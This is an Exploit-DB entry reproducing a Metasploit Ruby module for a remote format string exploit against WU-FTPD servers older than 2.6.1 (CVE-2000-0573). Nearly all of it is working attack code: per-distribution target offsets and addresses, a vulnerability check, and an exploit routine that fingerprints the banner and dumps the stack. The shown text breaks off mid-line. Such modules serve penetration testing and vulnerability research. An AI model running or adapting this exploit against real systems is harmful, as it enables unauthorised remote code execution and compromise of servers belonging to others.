Exploit-DB #16311
Description: WU-FTPD - Site EXEC/INDEX Format String (Metasploit)
Type: remote
Platform: linux
Date: 2010-11-30
Author: Metasploit

Exploit:
##
# $Id: wuftpd_site_exec_format.rb 11166 2010-11-30 00:16:53Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::FormatString

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'wu-ftpd SITE EXEC/INDEX Format String Vulnerability',
			'Description'    => %q{
					This module exploits a format string vulnerability in versions of the
				Washington University FTP server older than 2.6.1. By executing
				specially crafted SITE EXEC or SITE INDEX commands containing format
				specifiers, an attacker can corrupt memory and execute arbitrary code.
			},
			'Author'         => [ 'jduck' ],
			'Version'        => '$Revision: 11166 $',
			'References'     =>
				[
					['CVE', '2000-0573'],
					['OSVDB', '11805'],
					['BID', '1387']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'PrependChrootBreak' => true
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					# format string max length
					'Space'    => 256,
					# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
					'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f",
					'DisableNops'	=>  'True',
					'StackAdjustment' 	=> -1500
				},
			'Platform'       => [ 'linux' ],
			'Targets'        =>
			[
				#
				# Automatic targeting via fingerprinting
				#
				[ 'Automatic Targeting', { 'auto' => true }  ],

				#
				# specific targets
				#
				[	'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)',
					{
						'UseDPA' 	=> false,
						'PadBytes'	=> 3,
						'NumPops' 	=> 8,
						'AddrPops'  => 100,
						'Offset'    => -2088, 			# offset to stack return
						'Writable' 	=> 0xbfffde26, 	# stack, avoid badchars
						'FlowHook'	=> -1, # auto now... 0xbffff1e4		# stack return addr
					}
				],
				# these aren't exploitable (using built-in, stripped down vsprintf, no %n)
				#[	'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)',
				#[	'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)',
				#[	'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)',
				[	'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)',
					{
						'UseDPA' 	=> true,
						'PadBytes'	=> 2,
						'NumPops' 	=> 276,
						'AddrPops'  => 2,
						'Offset'    => -17664, 			# offset to stack return
						'Writable' 	=> 0x806e726,		# bss
						#'Writable' 	=> 0xbfff0126,		# stack, avoid badchars
						'FlowHook'	=> -1, # auto now... 0xbfffb028		# stack return addr
						#'FlowHook'  => 0x806e1e0		# GOT of sprintf
					}
				],

				#
				# this one will detect the parameters automagicly
				#
				[	'Debug',
					{
						'UseDPA' 	=> false,
						'PadBytes'	=> 0,
						'NumPops' 	=> 0,
						'AddrPops'  => -1,
						'Offset'    => -1,
						'Writable' 	=> 0x41414242, 	#
						'FlowHook'	=> 0x43434545		#
					}
				],
			],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 22 2000'))
		register_options(
			[
				Opt::RPORT(21),
			], self.class )
	end


	def check
		# NOTE: We don't care if the login failed here...
		ret = connect_login

		# We just want the banner to check against our targets..
		print_status("FTP Banner: #{banner.strip}")
		status = Exploit::CheckCode::Safe
		if banner =~ /Version wu-2\.(4|5)/
			status = Exploit::CheckCode::Appears
		elsif banner =~ /Version wu-2\.6\.0/
			status = Exploit::CheckCode::Appears
		end

		# If we've made it this far, we care if login succeeded.
		if (ret)
			# NOTE: vulnerable and exploitable might not mean the same thing here :)
			if not fmtstr_detect_vulnerable
				status = Exploit::CheckCode::Safe
			end
			if not fmtstr_detect_exploitable
				status = Exploit::CheckCode::Safe
			end
		end

		disconnect
		return status
	end


	def exploit

		if (not connect_login)
			raise RuntimeError, 'Unable to authenticate'
		end

		# Use a copy of the target
		mytarget = target

		if (target['auto'])
			mytarget = nil

			print_status("Automatically detecting the target...")
			if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then
				print_status("FTP Banner: #{banner.strip}")
				version = m[1]
			else
				raise RuntimeError, "No matching target"
			end

			regexp = Regexp.escape(version)
			self.targets.each do |t|
				if (t.name =~ /#{regexp}/) then
					mytarget = t
					break
				end
			end

			if (not mytarget)
				raise RuntimeError, "No matching target"
			end

			print_status("Selected Target: #{mytarget.name}")
		else
			print_status("Trying target #{mytarget.name}...")
			if banner
				print_status("FTP Banner: #{banner.strip}")
			end
		end

		# proceed with chosen target...

		# detect stuff!
		if mytarget.name == "Debug"
			#fmtstr_set_caps(true, true)
			# dump the stack, so we can detect stuff magically
			print_status("Dumping the stack...")
			stack = Array.new
			extra = "aaaabbbb"
			1000.times do |x|
				dw = fmtstr_stack_read(x+1, extra)
				break if not dw
				stack << dw
			end

			stack_data = stack.pack('V*')
			print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data))

			# detect the number of pad bytes
			idx = stack_data.index("aaaabbbb")
			if not idx
				raise RuntimeError, "Whoa, didn't find the static bytes on the stack!"
			end
			num_pad = 0
			num_pad = 4 - (idx % 4) if (idx % 4) > 0
			mytarget.opts['PadBytes'] = num_pad

			# calculate the number of pops needed to hit our addr
			num_pops = (idx + num_pad) / 4
			mytarget.o